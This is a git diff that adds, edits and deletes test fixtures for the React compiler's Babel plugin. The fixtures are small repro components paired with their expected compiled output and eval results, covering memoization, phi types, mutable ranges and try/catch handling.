diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-memoization-lack-of-phi-types.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-memoization-lack-of-phi-types.js
new file mode 100644
index 000000000000..a2d5b5d47111
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-memoization-lack-of-phi-types.js
@@ -0,0 +1,19 @@
+// @flow @validatePreserveExistingMemoizationGuarantees
+import {useMemo} from 'react';
+import {useFragment} from 'shared-runtime';
+
+function Component() {
+  const data = useFragment();
+  const nodes = data.nodes ?? [];
+  const flatMap = nodes.flatMap(node => node.items);
+  const filtered = flatMap.filter(item => item != null);
+  const map = useMemo(() => filtered.map(), [filtered]);
+  const index = filtered.findIndex(x => x === null);
+
+  return (
+    <div>
+      {map}
+      {index}
+    </div>
+  );
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-phi-after-dce-merge-scopes.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-phi-after-dce-merge-scopes.expect.md
new file mode 100644
index 000000000000..da7220c73c9b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-phi-after-dce-merge-scopes.expect.md
@@ -0,0 +1,52 @@
+
+## Input
+
+```javascript
+function Component() {
+  let v3, v4, acc;
+  v3 = false;
+  v4 = v3;
+  acc = v3;
+  if (acc) {
+    acc = true;
+    v3 = acc;
+  }
+  if (acc) {
+    v3 = v4;
+  }
+  v4 = v3;
+  return [acc, v3, v4];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = [false, false, false];
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) [false,false,false]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-phi-after-dce-merge-scopes.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-phi-after-dce-merge-scopes.js
new file mode 100644
index 000000000000..298ccbebaf27
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-missing-phi-after-dce-merge-scopes.js
@@ -0,0 +1,20 @@
+function Component() {
+  let v3, v4, acc;
+  v3 = false;
+  v4 = v3;
+  acc = v3;
+  if (acc) {
+    acc = true;
+    v3 = acc;
+  }
+  if (acc) {
+    v3 = v4;
+  }
+  v4 = v3;
+  return [acc, v3, v4];
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutable-range-extending-into-ternary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutable-range-extending-into-ternary.expect.md
index 4b9822fdb8a0..993747a50839 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutable-range-extending-into-ternary.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutable-range-extending-into-ternary.expect.md
@@ -2,16 +2,16 @@
 ## Input
 
 ```javascript
-import { useState } from "react";
+import {useState} from 'react';
 
 function Component(props) {
   const items = props.items ? props.items.slice() : [];
-  const [state] = useState("");
+  const [state] = useState('');
   return props.cond ? (
     <div>{state}</div>
   ) : (
     <div>
-      {items.map((item) => (
+      {items.map(item => (
         <div key={item.id}>{item.name}</div>
       ))}
     </div>
@@ -20,28 +20,28 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: false, items: [{ id: 0, name: "Alice" }] }],
+  params: [{cond: false, items: [{id: 0, name: 'Alice'}]}],
   sequentialRenders: [
-    { cond: false, items: [{ id: 0, name: "Alice" }] },
+    {cond: false, items: [{id: 0, name: 'Alice'}]},
     {
       cond: false,
       items: [
-        { id: 0, name: "Alice" },
-        { id: 1, name: "Bob" },
+        {id: 0, name: 'Alice'},
+        {id: 1, name: 'Bob'},
       ],
     },
     {
       cond: true,
       items: [
-        { id: 0, name: "Alice" },
-        { id: 1, name: "Bob" },
+        {id: 0, name: 'Alice'},
+        {id: 1, name: 'Bob'},
       ],
     },
     {
       cond: false,
       items: [
-        { id: 1, name: "Bob" },
-        { id: 2, name: "Claire" },
+        {id: 1, name: 'Bob'},
+        {id: 2, name: 'Claire'},
       ],
     },
   ],
@@ -57,15 +57,10 @@ import { useState } from "react";
 function Component(props) {
   const items = props.items ? props.items.slice() : [];
   const [state] = useState("");
-  return props.cond ? (
-    <div>{state}</div>
-  ) : (
-    <div>
-      {items.map((item) => (
-        <div key={item.id}>{item.name}</div>
-      ))}
-    </div>
-  );
+  return props.cond ? <div>{state}</div> : <div>{items.map(_temp)}</div>;
+}
+function _temp(item) {
+  return <div key={item.id}>{item.name}</div>;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutable-range-extending-into-ternary.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutable-range-extending-into-ternary.js
index 948483d182e0..e95b9de05c62 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutable-range-extending-into-ternary.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutable-range-extending-into-ternary.js
@@ -1,13 +1,13 @@
-import { useState } from "react";
+import {useState} from 'react';
 
 function Component(props) {
   const items = props.items ? props.items.slice() : [];
-  const [state] = useState("");
+  const [state] = useState('');
   return props.cond ? (
     <div>{state}</div>
   ) : (
     <div>
-      {items.map((item) => (
+      {items.map(item => (
         <div key={item.id}>{item.name}</div>
       ))}
     </div>
@@ -16,28 +16,28 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: false, items: [{ id: 0, name: "Alice" }] }],
+  params: [{cond: false, items: [{id: 0, name: 'Alice'}]}],
   sequentialRenders: [
-    { cond: false, items: [{ id: 0, name: "Alice" }] },
+    {cond: false, items: [{id: 0, name: 'Alice'}]},
     {
       cond: false,
       items: [
-        { id: 0, name: "Alice" },
-        { id: 1, name: "Bob" },
+        {id: 0, name: 'Alice'},
+        {id: 1, name: 'Bob'},
       ],
     },
     {
       cond: true,
       items: [
-        { id: 0, name: "Alice" },
-        { id: 1, name: "Bob" },
+        {id: 0, name: 'Alice'},
+        {id: 1, name: 'Bob'},
       ],
     },
     {
       cond: false,
       items: [
-        { id: 1, name: "Bob" },
-        { id: 2, name: "Claire" },
+        {id: 1, name: 'Bob'},
+        {id: 2, name: 'Claire'},
       ],
     },
   ],
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutable-range-shared-inner-outer-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutable-range-shared-inner-outer-function.expect.md
deleted file mode 100644
index 583148ceb75d..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutable-range-shared-inner-outer-function.expect.md
+++ /dev/null
@@ -1,71 +0,0 @@
-
-## Input
-
-```javascript
-// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
-let cond = true;
-function Component(props) {
-  let a;
-  let b;
-  const f = () => {
-    if (cond) {
-      a = {};
-      b = [];
-    } else {
-      a = {};
-      b = [];
-    }
-    a.property = true;
-    b.push(false);
-  };
-  return <div onClick={f} />;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{}],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
-let cond = true;
-function Component(props) {
-  const $ = _c(1);
-  let a;
-  let b;
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    const f = () => {
-      if (cond) {
-        a = {};
-        b = [];
-      } else {
-        a = {};
-        b = [];
-      }
-
-      a.property = true;
-      b.push(false);
-    };
-
-    t0 = <div onClick={f} />;
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  return t0;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{}],
-};
-
-```
-      
-### Eval output
-(kind: ok) <div></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-ref-in-function-passed-to-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-ref-in-function-passed-to-hook.expect.md
new file mode 100644
index 000000000000..83aa41077487
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-ref-in-function-passed-to-hook.expect.md
@@ -0,0 +1,114 @@
+
+## Input
+
+```javascript
+// @flow
+component Example() {
+  const fooRef = useRef();
+
+  function updateStyles() {
+    const foo = fooRef.current;
+    // The access of `barRef` here before its declaration causes it be hoisted...
+    if (barRef.current == null || foo == null) {
+      return;
+    }
+    foo.style.height = '100px';
+  }
+
+  // ...which previously meant that we didn't infer a type...
+  const barRef = useRef(null);
+
+  const resizeRef = useResizeObserver(
+    rect => {
+      const {width} = rect;
+      // ...which meant that we failed to ignore the mutation here...
+      barRef.current = width;
+    } // ...which caused this to fail with "can't freeze a mutable function"
+  );
+
+  useLayoutEffect(() => {
+    const observer = new ResizeObserver(_ => {
+      updateStyles();
+    });
+
+    return () => {
+      observer.disconnect();
+    };
+  }, []);
+
+  return <div ref={resizeRef} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Example() {
+  const $ = _c(6);
+  const fooRef = useRef();
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = function updateStyles() {
+      const foo = fooRef.current;
+
+      if (barRef.current == null || foo == null) {
+        return;
+      }
+
+      foo.style.height = "100px";
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const updateStyles = t0;
+
+  const barRef = useRef(null);
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = (rect) => {
+      const { width } = rect;
+
+      barRef.current = width;
+    };
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const resizeRef = useResizeObserver(t1);
+  let t2;
+  let t3;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = () => {
+      const observer = new ResizeObserver((_) => {
+        updateStyles();
+      });
+      return () => {
+        observer.disconnect();
+      };
+    };
+    t3 = [];
+    $[2] = t2;
+    $[3] = t3;
+  } else {
+    t2 = $[2];
+    t3 = $[3];
+  }
+  useLayoutEffect(t2, t3);
+  let t4;
+  if ($[4] !== resizeRef) {
+    t4 = <div ref={resizeRef} />;
+    $[4] = resizeRef;
+    $[5] = t4;
+  } else {
+    t4 = $[5];
+  }
+  return t4;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-ref-in-function-passed-to-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-ref-in-function-passed-to-hook.js
new file mode 100644
index 000000000000..7aab1a5c40e1
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-ref-in-function-passed-to-hook.js
@@ -0,0 +1,36 @@
+// @flow
+component Example() {
+  const fooRef = useRef();
+
+  function updateStyles() {
+    const foo = fooRef.current;
+    // The access of `barRef` here before its declaration causes it be hoisted...
+    if (barRef.current == null || foo == null) {
+      return;
+    }
+    foo.style.height = '100px';
+  }
+
+  // ...which previously meant that we didn't infer a type...
+  const barRef = useRef(null);
+
+  const resizeRef = useResizeObserver(
+    rect => {
+      const {width} = rect;
+      // ...which meant that we failed to ignore the mutation here...
+      barRef.current = width;
+    } // ...which caused this to fail with "can't freeze a mutable function"
+  );
+
+  useLayoutEffect(() => {
+    const observer = new ResizeObserver(_ => {
+      updateStyles();
+    });
+
+    return () => {
+      observer.disconnect();
+    };
+  }, []);
+
+  return <div ref={resizeRef} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-function-call-with-frozen-argument-in-function-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-function-call-with-frozen-argument-in-function-expression.expect.md
new file mode 100644
index 000000000000..20eab399ba07
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-function-call-with-frozen-argument-in-function-expression.expect.md
@@ -0,0 +1,69 @@
+
+## Input
+
+```javascript
+import {identity, makeObject_Primitives, Stringify} from 'shared-runtime';
+
+function Example(props) {
+  const object = props.object;
+  const f = () => {
+    // The argument maybe-aliases into the return
+    const obj = identity(object);
+    obj.property = props.value;
+    return obj;
+  };
+  const obj = f();
+  return <Stringify obj={obj} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Example,
+  params: [{object: makeObject_Primitives(), value: 42}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { identity, makeObject_Primitives, Stringify } from "shared-runtime";
+
+function Example(props) {
+  const $ = _c(5);
+  const object = props.object;
+  let t0;
+  if ($[0] !== object || $[1] !== props.value) {
+    const f = () => {
+      const obj = identity(object);
+      obj.property = props.value;
+      return obj;
+    };
+    t0 = f();
+    $[0] = object;
+    $[1] = props.value;
+    $[2] = t0;
+  } else {
+    t0 = $[2];
+  }
+  const obj_0 = t0;
+  let t1;
+  if ($[3] !== obj_0) {
+    t1 = <Stringify obj={obj_0} />;
+    $[3] = obj_0;
+    $[4] = t1;
+  } else {
+    t1 = $[4];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Example,
+  params: [{ object: makeObject_Primitives(), value: 42 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"obj":{"a":0,"b":"value1","c":true,"property":42}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-function-call-with-frozen-argument-in-function-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-function-call-with-frozen-argument-in-function-expression.js
new file mode 100644
index 000000000000..88070806119a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-function-call-with-frozen-argument-in-function-expression.js
@@ -0,0 +1,18 @@
+import {identity, makeObject_Primitives, Stringify} from 'shared-runtime';
+
+function Example(props) {
+  const object = props.object;
+  const f = () => {
+    // The argument maybe-aliases into the return
+    const obj = identity(object);
+    obj.property = props.value;
+    return obj;
+  };
+  const obj = f();
+  return <Stringify obj={obj} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Example,
+  params: [{object: makeObject_Primitives(), value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-method-call-on-frozen-value-in-function-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-method-call-on-frozen-value-in-function-expression.expect.md
new file mode 100644
index 000000000000..e5456ed85828
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-method-call-on-frozen-value-in-function-expression.expect.md
@@ -0,0 +1,69 @@
+
+## Input
+
+```javascript
+import {makeObject_Primitives, Stringify} from 'shared-runtime';
+
+function Example(props) {
+  const object = props.object;
+  const f = () => {
+    // The receiver maybe-aliases into the return
+    const obj = object.makeObject();
+    obj.property = props.value;
+    return obj;
+  };
+  const obj = f();
+  return <Stringify obj={obj} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Example,
+  params: [{object: {makeObject: makeObject_Primitives}, value: 42}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { makeObject_Primitives, Stringify } from "shared-runtime";
+
+function Example(props) {
+  const $ = _c(5);
+  const object = props.object;
+  let t0;
+  if ($[0] !== object || $[1] !== props.value) {
+    const f = () => {
+      const obj = object.makeObject();
+      obj.property = props.value;
+      return obj;
+    };
+    t0 = f();
+    $[0] = object;
+    $[1] = props.value;
+    $[2] = t0;
+  } else {
+    t0 = $[2];
+  }
+  const obj_0 = t0;
+  let t1;
+  if ($[3] !== obj_0) {
+    t1 = <Stringify obj={obj_0} />;
+    $[3] = obj_0;
+    $[4] = t1;
+  } else {
+    t1 = $[4];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Example,
+  params: [{ object: { makeObject: makeObject_Primitives }, value: 42 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"obj":{"a":0,"b":"value1","c":true,"property":42}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-method-call-on-frozen-value-in-function-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-method-call-on-frozen-value-in-function-expression.js
new file mode 100644
index 000000000000..92834df138d3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-method-call-on-frozen-value-in-function-expression.js
@@ -0,0 +1,18 @@
+import {makeObject_Primitives, Stringify} from 'shared-runtime';
+
+function Example(props) {
+  const object = props.object;
+  const f = () => {
+    // The receiver maybe-aliases into the return
+    const obj = object.makeObject();
+    obj.property = props.value;
+    return obj;
+  };
+  const obj = f();
+  return <Stringify obj={obj} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Example,
+  params: [{object: {makeObject: makeObject_Primitives}, value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-method-call-on-frozen-value-is-allowed.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-method-call-on-frozen-value-is-allowed.expect.md
new file mode 100644
index 000000000000..0c91a935ed7d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-method-call-on-frozen-value-is-allowed.expect.md
@@ -0,0 +1,57 @@
+
+## Input
+
+```javascript
+import {makeObject_Primitives, Stringify} from 'shared-runtime';
+
+function Example(props) {
+  const obj = props.object.makeObject();
+  obj.property = props.value;
+  return <Stringify obj={obj} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Example,
+  params: [{object: {makeObject: makeObject_Primitives}, value: 42}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { makeObject_Primitives, Stringify } from "shared-runtime";
+
+function Example(props) {
+  const $ = _c(5);
+  let obj;
+  if ($[0] !== props.object || $[1] !== props.value) {
+    obj = props.object.makeObject();
+    obj.property = props.value;
+    $[0] = props.object;
+    $[1] = props.value;
+    $[2] = obj;
+  } else {
+    obj = $[2];
+  }
+  let t0;
+  if ($[3] !== obj) {
+    t0 = <Stringify obj={obj} />;
+    $[3] = obj;
+    $[4] = t0;
+  } else {
+    t0 = $[4];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Example,
+  params: [{ object: { makeObject: makeObject_Primitives }, value: 42 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"obj":{"a":0,"b":"value1","c":true,"property":42}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-method-call-on-frozen-value-is-allowed.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-method-call-on-frozen-value-is-allowed.js
new file mode 100644
index 000000000000..d5ed97e159b2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-mutate-result-of-method-call-on-frozen-value-is-allowed.js
@@ -0,0 +1,12 @@
+import {makeObject_Primitives, Stringify} from 'shared-runtime';
+
+function Example(props) {
+  const obj = props.object.makeObject();
+  obj.property = props.value;
+  return <Stringify obj={obj} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Example,
+  params: [{object: {makeObject: makeObject_Primitives}, value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-nested-try-catch-in-usememo.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-nested-try-catch-in-usememo.expect.md
new file mode 100644
index 000000000000..bb3d068db6da
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-nested-try-catch-in-usememo.expect.md
@@ -0,0 +1,114 @@
+
+## Input
+
+```javascript
+// @compilationMode:"infer"
+import {useMemo} from 'react';
+
+function useFoo(text) {
+  return useMemo(() => {
+    try {
+      let formattedText = '';
+      try {
+        formattedText = format(text);
+      } catch {
+        formattedText = text;
+      }
+      return formattedText || '';
+    } catch (e) {
+      return '';
+    }
+  }, [text]);
+}
+
+function format(text) {
+  return text.toUpperCase();
+}
+
+function Foo({text}) {
+  const result = useFoo(text);
+  return <span>{result}</span>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{text: 'hello'}],
+  sequentialRenders: [
+    {text: 'hello'},
+    {text: 'hello'},
+    {text: 'world'},
+    {text: ''},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer"
+import { useMemo } from "react";
+
+function useFoo(text) {
+  const $ = _c(2);
+  let t0;
+  try {
+    let formattedText;
+    try {
+      let t2;
+      if ($[0] !== text) {
+        t2 = format(text);
+        $[0] = text;
+        $[1] = t2;
+      } else {
+        t2 = $[1];
+      }
+      formattedText = t2;
+    } catch {
+      formattedText = text;
+    }
+
+    t0 = formattedText || "";
+  } catch (t1) {
+    t0 = "";
+  }
+  return t0;
+}
+
+function format(text) {
+  return text.toUpperCase();
+}
+
+function Foo(t0) {
+  const $ = _c(2);
+  const { text } = t0;
+  const result = useFoo(text);
+  let t1;
+  if ($[0] !== result) {
+    t1 = <span>{result}</span>;
+    $[0] = result;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ text: "hello" }],
+  sequentialRenders: [
+    { text: "hello" },
+    { text: "hello" },
+    { text: "world" },
+    { text: "" },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <span>HELLO</span>
+<span>HELLO</span>
+<span>WORLD</span>
+<span></span>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-nested-try-catch-in-usememo.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-nested-try-catch-in-usememo.js
new file mode 100644
index 000000000000..64bdc404004a
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-nested-try-catch-in-usememo.js
@@ -0,0 +1,38 @@
+// @compilationMode:"infer"
+import {useMemo} from 'react';
+
+function useFoo(text) {
+  return useMemo(() => {
+    try {
+      let formattedText = '';
+      try {
+        formattedText = format(text);
+      } catch {
+        formattedText = text;
+      }
+      return formattedText || '';
+    } catch (e) {
+      return '';
+    }
+  }, [text]);
+}
+
+function format(text) {
+  return text.toUpperCase();
+}
+
+function Foo({text}) {
+  const result = useFoo(text);
+  return <span>{result}</span>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{text: 'hello'}],
+  sequentialRenders: [
+    {text: 'hello'},
+    {text: 'hello'},
+    {text: 'world'},
+    {text: ''},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-declarations-in-reactive-scope-with-early-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-declarations-in-reactive-scope-with-early-return.expect.md
index ffd18500f1d2..3a7113009437 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-declarations-in-reactive-scope-with-early-return.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-declarations-in-reactive-scope-with-early-return.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
+// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
 function Component() {
   const items = useItems();
   const filteredItems = useMemo(
@@ -37,76 +37,60 @@ function Component() {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
+import { c as _c } from "react/compiler-runtime"; // @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
 function Component() {
-  const $ = _c(9);
+  const $ = _c(6);
   const items = useItems();
   let t0;
   let t1;
-  let t2;
   if ($[0] !== items) {
-    t2 = Symbol.for("react.early_return_sentinel");
+    t1 = Symbol.for("react.early_return_sentinel");
     bb0: {
-      let t3;
-      if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
-        t3 = (t4) => {
-          const [item] = t4;
-          return item.name != null;
-        };
-        $[4] = t3;
-      } else {
-        t3 = $[4];
-      }
-      t0 = items.filter(t3);
-      const filteredItems = t0;
+      const filteredItems = items.filter(_temp);
       if (filteredItems.length === 0) {
-        let t4;
-        if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
-          t4 = (
+        let t2;
+        if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+          t2 = (
             <div>
               <span />
             </div>
           );
-          $[5] = t4;
+          $[3] = t2;
         } else {
-          t4 = $[5];
+          t2 = $[3];
         }
-        t2 = t4;
+        t1 = t2;
         break bb0;
       }
-      let t4;
-      if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
-        t4 = (t5) => {
-          const [item_0] = t5;
-          return <Stringify item={item_0} />;
-        };
-        $[6] = t4;
-      } else {
-        t4 = $[6];
-      }
-      t1 = filteredItems.map(t4);
+      t0 = filteredItems.map(_temp2);
     }
     $[0] = items;
-    $[1] = t1;
-    $[2] = t2;
-    $[3] = t0;
+    $[1] = t0;
+    $[2] = t1;
   } else {
-    t1 = $[1];
-    t2 = $[2];
-    t0 = $[3];
+    t0 = $[1];
+    t1 = $[2];
   }
-  if (t2 !== Symbol.for("react.early_return_sentinel")) {
-    return t2;
+  if (t1 !== Symbol.for("react.early_return_sentinel")) {
+    return t1;
   }
-  let t3;
-  if ($[7] !== t1) {
-    t3 = <>{t1}</>;
-    $[7] = t1;
-    $[8] = t3;
+  let t2;
+  if ($[4] !== t0) {
+    t2 = <>{t0}</>;
+    $[4] = t0;
+    $[5] = t2;
   } else {
-    t3 = $[8];
+    t2 = $[5];
   }
-  return t3;
+  return t2;
+}
+function _temp2(t0) {
+  const [item_0] = t0;
+  return <Stringify item={item_0} />;
+}
+function _temp(t0) {
+  const [item] = t0;
+  return item.name != null;
 }
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-declarations-in-reactive-scope-with-early-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-declarations-in-reactive-scope-with-early-return.js
index 1d01c2099395..a4baa811b5f1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-declarations-in-reactive-scope-with-early-return.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-declarations-in-reactive-scope-with-early-return.js
@@ -1,4 +1,4 @@
-// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions
+// @enableAssumeHooksFollowRulesOfReact @enableTransitivelyFreezeFunctionExpressions @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
 function Component() {
   const items = useItems();
   const filteredItems = useMemo(
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-gating-import-without-compiled-functions.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-gating-import-without-compiled-functions.expect.md
deleted file mode 100644
index ebea181289da..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-no-gating-import-without-compiled-functions.expect.md
+++ /dev/null
@@ -1,21 +0,0 @@
-
-## Input
-
-```javascript
-// @gating
